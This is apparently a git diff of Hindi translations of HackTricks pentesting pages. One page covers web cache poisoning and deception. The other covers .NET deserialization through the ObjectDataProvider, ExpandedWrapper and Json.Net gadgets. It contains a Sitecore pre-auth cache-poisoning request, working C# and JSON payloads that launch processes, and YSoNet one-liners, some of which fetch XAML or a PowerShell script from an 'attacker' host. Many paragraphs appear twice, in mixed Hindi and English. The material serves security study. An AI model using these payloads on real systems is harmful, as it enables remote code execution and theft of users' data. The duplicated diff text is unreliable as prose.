- request headers को HTML में reflect करना बंद करें; अगर अनिवार्य हो तो उन्हें strictly context-encode करें। CDN और origin के cache policies को align करें और untrusted headers पर vary करने से बचें।
|
||||
- सुनिश्चित करें कि WAF `.js` requests और static paths पर content inspection लगातार लागू करता है।
|
||||
- `HttpOnly` (और `Secure`, `SameSite`) को session cookies पर सेट करें।
|
||||
- Request headers को HTML में reflect करना बंद करें; अगर अपरिहार्य हो तो सख्ती से context-encode करें। CDN और origin cache policies को align करें और untrusted headers पर vary करने से बचें।
|
||||
- सुनिश्चित करें कि WAF `.js` requests और static paths पर content inspection लगातार लागू करे।
|
||||
- session cookies पर `HttpOnly` (और `Secure`, `SameSite`) सेट करें।
|
||||
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
A Sitecore‑specific pattern unauthenticated writes को HtmlCache में सक्षम बनाता है by abusing pre‑auth XAML handlers और AjaxScriptManager reflection. जब `Sitecore.Shell.Xaml.WebControl` handler पहुंच जाता है, तब एक `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) उपलब्ध होता है और निम्नलिखित reflective call की अनुमति दी जाती है:
|
||||
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
|
||||
यह attacker‑chosen cache key के अंतर्गत मनमाना HTML लिखता है, जिससे cache keys ज्ञात होने पर सटीक poisoning संभव हो जाता है।
|
||||
|
||||
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
|
||||
|
||||
@ -216,51 +217,51 @@ For full details (cache key construction, ItemService enumeration and a chained
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## कमजोरियों के उदाहरण
|
||||
## कमज़ोर उदाहरण
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ने URL के अंदर का fragment बिना strip किए आगे भेज दिया और cache key केवल host, path और query का उपयोग करके बनाया (fragment को ignore करते हुए)। इसलिए request `/#/../?r=javascript:alert(1)` backend को `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और cache key में payload नहीं था — केवल host, path और query मौजूद थे।
|
||||
ATS ने URL के अंदर के fragment को strip किए बिना आगे भेजा और cache key केवल host, path और query का उपयोग करके बनाया (fragment को ignore करते हुए)। इसलिए request `/#/../?r=javascript:alert(1)` backend को उसी रूप में भेजा गया और cache key में payload शामिल नहीं था, केवल host, path और query थे।
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
content-type header में गलत मान भेजने पर 405 cached response ट्रिगर हुई। cache key में cookie शामिल था इसलिए यह केवल unauth users पर हमला करने योग्य था।
|
||||
content-type header में गलत value भेजने पर 405 cached response ट्रिगर हुआ। cache key में cookie शामिल था इसलिए इसे केवल अनऑथ (unauth) उपयोगकर्ताओं पर ही आक्रमण के लिए प्रयोग किया जा सकता था।
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab static content स्टोर करने के लिए GCP buckets का उपयोग करता है। GCP Buckets `x-http-method-override` header को सपोर्ट करते हैं। इसलिए `x-http-method-override: HEAD` header भेज कर cache को empty response body लौटाने के लिए poison किया जा सकता था। यह `PURGE` method को भी सपोर्ट कर सकता था।
|
||||
GitLab static content संग्रहीत करने के लिए GCP buckets का उपयोग करता है। **GCP Buckets** **header `x-http-method-override`** को सपोर्ट करते हैं। इसलिए header `x-http-method-override: HEAD` भेजकर cache को poison कर empty response body लौटवाना संभव था। यह `PURGE` method को भी सपोर्ट कर सकता था।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails एप्लिकेशन में Rack middleware अक्सर उपयोग होता है। Rack code का उद्देश्य `x-forwarded-scheme` header का मान लेकर उसे request के scheme के रूप में सेट करना है। जब `x-forwarded-scheme: http` भेजा जाता है, तो same location पर 301 redirect होता है, जिससे उस resource के लिए Denial of Service (DoS) हो सकता है। अतिरिक्त रूप से, एप्लिकेशन `X-forwarded-host` header को स्वीकार कर सकता है और यूज़र्स को निर्दिष्ट host पर redirect कर सकता है। यह व्यवहार attacker's server से JavaScript फाइलें लोड होने का जोखिम पैदा कर सकता है।
|
||||
Ruby on Rails applications में Rack middleware अक्सर उपयोग किया जाता है। Rack code का उद्देश्य **`x-forwarded-scheme`** header का मान लेकर उसे request के scheme के रूप में सेट करना है। जब header `x-forwarded-scheme: http` भेजा जाता है, तो उसी स्थान के लिए 301 redirect होता है, जिससे उस resource पर संभावित Denial of Service (DoS) हो सकता है। अतिरिक्त रूप से, application `X-forwarded-host` header को मान्यता दे सकता है और users को निर्दिष्ट host पर redirect कर सकता है। यह व्यवहार attacker के सर्वर से JavaScript फाइलें लोड होने का कारण बन सकता है, जिससे सुरक्षा जोखिम उत्पन्न होता है।
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 response आता था जो cached हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 response आता था जो cached हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy services में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Caches अक्सर cache key में specific GET parameters को शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish requests में `size` parameter को cache करता था। हालांकि, अगर parameter का URL-encoded version (जैसे `siz%65`) भी गलत वैल्यू के साथ भेजा गया, तो cache key सही `size` parameter का उपयोग करके बनाया जाता। पर backend URL-encoded parameter के मान को process करेगा। दूसरे `size` parameter को URL-encode करने से यह cache द्वारा omit हो जाता था पर backend द्वारा उपयोग किया जाता था। इस parameter को 0 देने पर cacheable 400 Bad Request error मिल जाती थी।
|
||||
Caches अक्सर cache key में विशेष GET parameters शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish requests में `size` parameter को cached करता था। हालांकि, यदि parameter का URL-encoded संस्करण (जैसे `siz%65`) भी गलत value के साथ भेजा गया, तो cache key सही `size` parameter का उपयोग करके बनाया जाएगा। फिर भी backend URL-encoded parameter में दी गई value को process करेगा। दूसरे `size` parameter को URL-encode करने से cache उसे छोड़ देता था पर backend उसका उपयोग करता था। इस parameter को 0 देने पर एक cacheable 400 Bad Request error बन जाती थी।
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
कुछ डेवलपर्स high-traffic tools जैसे FFUF या Nuclei के user-agents वाले requests को server load manage करने के लिए block करते हैं। Ironically, यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।
|
||||
कुछ developers high-traffic tools जैसे FFUF या Nuclei के user-agents से मेल खाने वाले requests को server load कम करने के लिए block करते हैं। विडंबना यह है कि यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names में स्वीकार्य characters को निर्दिष्ट करता है। ऐसे headers जिनमें निर्दिष्ट **tchar** range के बाहर के characters हों, ideally 400 Bad Request response ट्रिगर करना चाहिए। वास्तविकता में, सर्वर हमेशा इस standard का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai है, जो invalid characters वाले headers को आगे भेजता है और किसी भी 400 error को cache कर देता है, बशर्ते कि `cache-control` header मौजूद न हो। एक exploitable pattern में illegal character भेजने (जैसे `\`) पर cacheable 400 Bad Request error मिलती थी।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names में स्वीकार्य characters निर्दिष्ट करता है। Headers जिनमें निर्दिष्ट **tchar** सीमा के बाहर के characters होते हैं, आदर्श रूप से 400 Bad Request response को ट्रिगर करना चाहिए। व्यवहार में, servers हमेशा इस मानक का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai है, जो invalid characters वाले headers को forward करता है और कोई भी 400 error cache कर लेता है, बशर्ते `cache-control` header मौजूद न हो। एक exploitable पैटर्न ऐसा पाया गया जहाँ `\` जैसे illegal character वाले header भेजने से cacheable 400 Bad Request error बन जाती थी।
|
||||
|
||||
### Finding new headers
|
||||
### नए headers ढूँढना
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Cache Deception
|
||||
|
||||
उद्देश्य यह है कि clients उन resources को load करें जिन्हें cache उनके sensitive information के साथ save करने वाला है।
|
||||
Cache Deception का लक्ष्य clients को उन resources को load कराना है जिन्हें cache उनके sensitive information के साथ save कर देगा।
|
||||
|
||||
सबसे पहले ध्यान दें कि extensions जैसे `.css`, `.js`, `.png` आदि आमतौर पर cache में save करने के लिए configured होते हैं। इसलिए, अगर आप `www.example.com/profile.php/nonexistent.js` एक्सेस करते हैं तो cache संभवतः response को store कर लेगा क्योंकि इसे `.js` extension दिखता है। लेकिन, अगर application `www.example.com/profile.php` में stored sensitive user contents के साथ reply कर रहा है, तो आप उन contents को अन्य users से चोरी कर सकते हैं।
|
||||
सबसे पहले ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर cache में **saved** होने के लिए **configured** होते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं तो cache संभवतः response को store कर लेगा क्योंकि वह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत उपयोगकर्ता की **sensitive** सामग्री को replay कर रहा है, तो आप उन सामग्री को अन्य users से **steal** कर सकते हैं।
|
||||
|
||||
अन्य चीजें जिन्हें टेस्ट करना चाहिए:
|
||||
परीक्षण के लिए अन्य चीज़ें:
|
||||
|
||||
- _www.example.com/profile.php/.js_
|
||||
- _www.example.com/profile.php/.css_
|
||||
@ -269,19 +270,19 @@ Caches अक्सर cache key में specific GET parameters को शा
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Use lesser known extensions such as_ `.avif`
|
||||
|
||||
एक और बहुत साफ उदाहरण इस write-up में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में बताया गया है कि अगर आप एक non-existent पेज जैसे _http://www.example.com/home.php/non-existent.css_ लोड करते हैं तो _http://www.example.com/home.php_ (यूज़र की sensitive जानकारी के साथ) का content लौटाया जा सकता है और cache server परिणाम को save कर लेगा।\
|
||||
फिर, attacker अपना ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ एक्सेस कर के उन यूज़र्स की confidential information देख सकता है जो पहले उस पेज को एक्सेस कर चुके थे।
|
||||
एक और स्पष्ट उदाहरण इस write-up में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
|
||||
उस उदाहरण में बताया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी non-existent page लोड करते हैं तो _http://www.example.com/home.php_ की सामग्री (उपयोगकर्ता की **sensitive information** के साथ) लौटाई जाएगी और cache server परिणाम को save कर लेगा।
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ को एक्सेस करके उन उपयोगकर्ताओं की **confidential information** देख सकता है जिन्होंने पहले पहुँच किया था।
|
||||
|
||||
ध्यान दें कि cache proxy को फाइलों को उनके extension (जैसे _.css_) के आधार पर cache करने के लिए configured होना चाहिए न कि content-type के आधार पर। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का content-type `text/html` होगा न कि `text/css` mime type।
|
||||
ध्यान दें कि cache proxy को फ़ाइलों को उनकी extension (.css) के आधार पर cache करने के लिए configured होना चाहिए, ना कि content-type के आधार पर। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का content-type `text/html` होगा, न कि `text/css` mime type।
|
||||
|
||||
यहाँ सीखें कि कैसे HTTP Request Smuggling का उपयोग कर Cache Deceptions attacks perform किये जाते हैं: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception
|
||||
यहाँ जानें कि कैसे [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) का उपयोग करके Cache Deception किया जाए।
|
||||
|
||||
## Automatic Tools
|
||||
## स्वचालित टूल्स
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner जो URL की list में web cache poisoning vulnerabilities खोजता है और multiple injection techniques को टेस्ट करता है।
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner जो URL की सूची में web cache poisoning vulnerabilities खोजने और कई injection techniques का परीक्षण करने के लिए है।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
|
||||
|
||||
@ -1,20 +1,20 @@
|
||||
# बेसिक .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This post is dedicated to **समझने के लिए कि gadget ObjectDataProvider का कैसे शोषण किया जाता है** ताकि RCE प्राप्त किया जा सके और **कैसे** Serialization लाइब्रेरीज़ **Json.Net और xmlSerializer को उस gadget के साथ दुरुपयोग किया जा सकता है**।
|
||||
यह पोस्ट विशेष रूप से यह समझाने के लिए समर्पित है कि कैसे ObjectDataProvider gadget का शोषण करके RCE प्राप्त किया जाता है और कैसे Serialization लाइब्रेरीज़ Json.Net और xmlSerializer उस gadget के साथ दुर्व्यवहार की जा सकती हैं।
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
हाँ, ये एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास किसी भी arbitrary object को **wrap** करने की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **arbitrary parameters set** किए जा सकते हैं, और फिर **MethodName का उपयोग करके arbitrary object के किसी भी function को निर्दिष्ट किए गए parameters के साथ कॉल किया जा सकता है**।\
|
||||
इसलिए, arbitrary **object** **deserialized** होते समय **parameters के साथ एक function execute** करेगा।
|
||||
डॉक्यूमेंटेशन के अनुसार: _ObjectDataProvider क्लास एक ऑब्जेक्ट लपेटता है और एक ऐसा ऑब्जेक्ट बनाता है जिसे आप एक बाइंडिंग स्रोत (binding source) के रूप में उपयोग कर सकते हैं_.\
|
||||
हाँ, यह एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो दिलचस्प है: यह क्लास किसी भी एक arbitrary object को **wrap** करने की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **arbitrary parameters सेट** कर सकती है, और फिर _**MethodName**_ का उपयोग करके किसी भी arbitrary object के किसी भी function को उन घोषित किए गए arbitrary parameters के साथ **call** कर सकती है।\
|
||||
इसलिए, arbitrary **object** deserialize होते समय **parameters के साथ एक function** **execute** करेगा।
|
||||
|
||||
### **How is this possible**
|
||||
### **यह कैसे संभव है**
|
||||
|
||||
The **System.Windows.Data** namespace, जो कि **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर मिलता है, वहीं ObjectDataProvider परिभाषित और लागू किया गया है।
|
||||
**System.Windows.Data** namespace, जो **PresentationFramework.dll** के भीतर `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` में पाया जाता है, वही जगह है जहाँ ObjectDataProvider परिभाषित और लागू किया गया है।
|
||||
|
||||
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) आप उस क्लास का **code inspect** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे के इमेज में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का code देख रहे हैं
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप उस क्लास का **code inspect** कर सकते हैं जिसमें हमें दिलचस्पी है। नीचे की इमेज में हम देख रहे हैं कि PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का कोड क्या दिखाता है
|
||||
|
||||
.png>)
|
||||
|
||||
@ -22,7 +22,7 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) आप उस क्लास
|
||||
|
||||
.png>)
|
||||
|
||||
ठीक है, चलिए आगे देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा override किया गया है और यह वही है जो यह करता है:
|
||||
ठीक है, चलिए देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा override किया गया है और यह वही करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -30,9 +30,9 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) आप उस क्लास
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि यह function `QueryWorker` का पूरा code नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है** — यह वह लाइन है जहाँ **set किया गया method invoke** होता है।
|
||||
ध्यान दें कि यह `QueryWorker` फ़ंक्शन का पूरा कोड नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है** — यही वह लाइन है जहाँ **method set invoke** होता है।
|
||||
|
||||
यदि आप जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने पर **वह execute होगा**, तो आप इस कोड को चला सकते हैं:
|
||||
यदि आप यह जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने भर से यह execute हो जाएगा, तो आप यह कोड चला सकते हैं:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -56,12 +56,10 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
पिछले exploit का उपयोग करते समय ऐसे मामले होंगें जहाँ **object** को _**ObjectDataProvider**_ instance के रूप में **deserialized as** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को `GetType` का उपयोग करके deserialized किया गया था)। तब _ObjectDataProvider_ instance में जो object type encapsulated है उसके बारे में (`Process` जैसे) **कोई जानकारी नहीं होगी**। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1
|
||||
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [DotNetNuke vuln के बारे में जानकारी यहाँ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
यह क्लास किसी दिए गए instance में encapsulated objects के **object types को निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग स्रोत object (_ObjectDataProvider_) को एक नए object type में encapsulate करने और हमें जिन properties की आवश्यकता है उन्हें प्रदान करने के लिए किया जा सकता है (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_)।\
|
||||
यह उन मामलों के लिए बहुत उपयोगी है जैसा कि पहले प्रस्तुत किया गया था, क्योंकि हम _**ObjectDataProvider**_ को एक **_ExpandedWrapper_** instance के अंदर wrap कर सकेंगे और **जब deserialized होगा** यह क्लास _**OjectDataProvider**_ object बनाएगी जो _**MethodName**_ में निर्दिष्ट **function** को **execute** करेगी।
|
||||
|
||||
You can check this wrapper with the following code:
|
||||
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
|
||||
यह पहले प्रस्तुत मामलों के लिए बहुत उपयोगी है, क्योंकि we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
In the [official web page](https://www.newtonsoft.com/json) में बताया गया है कि यह लाइब्रेरी **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer** की अनुमति देती है। तो, अगर हम **deserialize the ObjectDataProvider gadget** कर सकें, तो सिर्फ़ एक object को deserialize करके ही हम **RCE** पैदा कर सकते हैं।
|
||||
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. इसलिए, अगर हम **deserialize the ObjectDataProvider gadget** कर पाएँ तो सिर्फ़ एक ऑब्जेक्ट को deserialize करके हम **RCE** उत्पन्न कर सकते हैं।
|
||||
|
||||
### Json.Net example
|
||||
### Json.Net उदाहरण
|
||||
|
||||
सबसे पहले, आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी object को **serialize/deserialize** कैसे किया जाता है:
|
||||
सबसे पहले आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी ऑब्जेक्ट को कैसे **serialize/deserialize** किया जाता है:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -147,7 +145,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
इस कोड में आप **test the exploit**, बस इसे चलाएँ और आप देखेंगे कि calc चलाया जाता है:
|
||||
इस कोड में आप **test the exploit** कर सकते हैं — बस इसे चलाएँ और आप देखेंगे कि calc निष्पादित होता है:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,27 +182,27 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## उन्नत .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
ObjectDataProvider + ExpandedWrapper technique जो ऊपर प्रस्तुत किया गया था, केवल उन कई gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई application **unsafe .NET deserialization** करता है। Modern red-team tooling जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराने [ysoserial.net](https://github.com/pwntester/ysoserial.net)) दर्जनों gadgets और serialization formats के लिए **ready-to-use malicious object graphs** का निर्माण स्वचालित करते हैं।
|
||||
ObjectDataProvider + ExpandedWrapper तकनीक जो ऊपर प्रस्तुत की गई है, केवल उन MANY gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई एप्लिकेशन **unsafe .NET deserialization** करता है। आधुनिक red-team tooling जैसे **YSoNet** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) दर्जनों gadgets और serialization फ़ॉर्मैट्स के लिए **ready-to-use malicious object graphs** बनाने को स्वचालित करते हैं।
|
||||
|
||||
नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ दिया गया है, साथ ही वे कैसे काम करते हैं और payloads जनरेट करने के उदाहरण commands।
|
||||
नीचे *YSoNet* के साथ भेजे जाने वाले सबसे उपयोगी चेन का संक्षिप्त संदर्भ दिया गया है, साथ ही यह कैसे काम करते हैं इसका त्वरित स्पष्टिकरण और payload जनरेट करने के उदाहरण कमांड दिए गए हैं।
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | DelegateSerializationHolder रिकॉर्ड को करप्ट करता है ताकि, एक बार materialised होने पर, delegate किसी भी attacker द्वारा सप्लाई किए गए method की ओर इशारा करे (उदा. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग कर के *bypass .NET ≥4.8 type-filtering* किया जाता है और दिए गए class के **constructor** को सीधे invoke किया जा सकता है या चालू के दौरान C# file को **compile** किया जा सकता है | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का उपयोग करके `<ColumnMapping>` / `<DataType>` फील्ड भरकर arbitrary types instantiate करता है (वैकल्पिक रूप से assembly को `--spoofedAssembly` से फेक कर सकते हैं) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) पर property getters को chain करता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक न पहुँच जाए, फिर *compiles* या `-c` के साथ दिए गए DLL को *loads* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग नियंत्रित arguments के साथ किसी arbitrary static method को call करने के लिए करता है। YSoNet एक सुविधाजनक `--xamlurl` variant जोड़ता है ताकि malicious XAML को remote पर host किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` embed करता है जो तब execute होता है जब PowerShell उस object को deserialise करता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
| Gadget Chain | मुख्य विचार / प्रिमिटिव | Common Serializers | YSoNet one-liner |
|
||||
|--------------|------------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को करप्ट करता है ताकि, materialise होने पर, delegate किसी भी attacker-supplied method (उदा. `Process.Start`) की ओर पॉइंट करे | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग कर .NET ≥4.8 के type-filtering को *bypass* करता है और प्रदान की गई क्लास के **constructor** को सीधे invoke कर सकता है या रन-टाइम पर C# फ़ाइल को **compile** कर सकता है | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का उपयोग करके arbitrary types instantiate करने के लिए `<ColumnMapping>` / `<DataType>` फ़ील्ड्स को भरता है (वैकल्पिक रूप से `--spoofedAssembly` से assembly को fake कर सकता है) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) पर property getters को chain करके `System.CodeDom.Compiler.CompilerResults` तक पहुंचता है, फिर `-c` के साथ प्रदान किए गए DLL को *compile* या *load* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
